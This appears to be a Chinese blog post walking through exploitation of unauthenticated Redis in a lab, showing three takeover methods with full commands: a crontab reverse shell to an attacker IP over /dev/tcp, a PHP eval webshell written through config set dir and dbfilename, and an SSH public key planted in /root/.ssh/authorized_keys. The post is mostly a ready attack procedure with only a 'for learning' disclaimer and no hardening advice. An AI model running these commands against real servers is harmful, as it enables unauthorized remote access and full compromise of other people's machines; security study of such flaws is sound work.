Redis未授权访问的三种利用方式

本文详细介绍了Redis默认配置可能导致的未授权访问漏洞,包括如何在无认证情况下读取数据,以及利用漏洞进行crontab反弹shell、写入webshell和SSH公钥的步骤。同时,文章提醒了在Ubuntu环境下利用该漏洞的注意事项,并强调了学习和安全使用的重要性。
摘要由CSDN通过智能技术生成

简介

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。

漏洞描述

Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

影响版本

通用型漏洞

测试环境

下载官方redis压缩包到虚拟环境内,进行解压根据安装redis教程进行安装,最后解除绑定127.0.0.1,设置成无密码验证,安装apache服务器,开启web服务

漏洞复现

先使用命令redis-cli -h 192.168.137.140 -p 6379进行连接redis服务器,查看敏感信息,key和对应值

1.使用命令Info查看敏感信息
在这里插入图片描述

2.使用命令keys *查看key和对应的值

在这里插入图片描述

因为当前的redis是刚创建的,所以没有东西

然后在查看完敏感信息之后,就开始漏洞利用,主要分为三种方法:

1.利用crontab反弹shell

直接向靶机的Crontab写入任务计划,反弹shell

set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
(中间返回error是因为没有使用root权限运行redis的缘故)

在这里插入图片描述

进行反弹,linux进行监听,但是监听了好大一会都没有监听到,查找文章,发现ubuntu下计划任务反弹shell需要注意两点,一是需要root权限,二是需要书写crontab计划的时候要将/bin/sh软链接到/bin/bash,当然我们也可以不修改软链接,可以直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以 ln -s -f /bin/bash /bin/sh 设置软链接
但是ubuntu又发现了一个问题,在redis进行写入的时候发现计划中存在乱码,删除乱码
最后等待一分钟就接受到反弹的shell了

2.写入webshell

先通过方法确定web的路径,然后通过类似上面的方法写入webshell

set x "\n<?php @eval($_POST[‘test’]);?>\n"

config set /www/admin/localhost_80/wwwroot/

Config set dbfilename shell.php

使用蚁剑或者冰蝎等工具进行连接登录

3.写ssh-keygen公钥登录

先在攻击机上切换到root用户
在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
一路默认就可以

进入/root/.ssh目录下,将生成的公钥存入1.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
redis-cli -h 192.168.137.146

更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys
save

然后就可以再攻击机上使用ssh免密码登录靶机
ssh -i id_rsa [ip]

本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值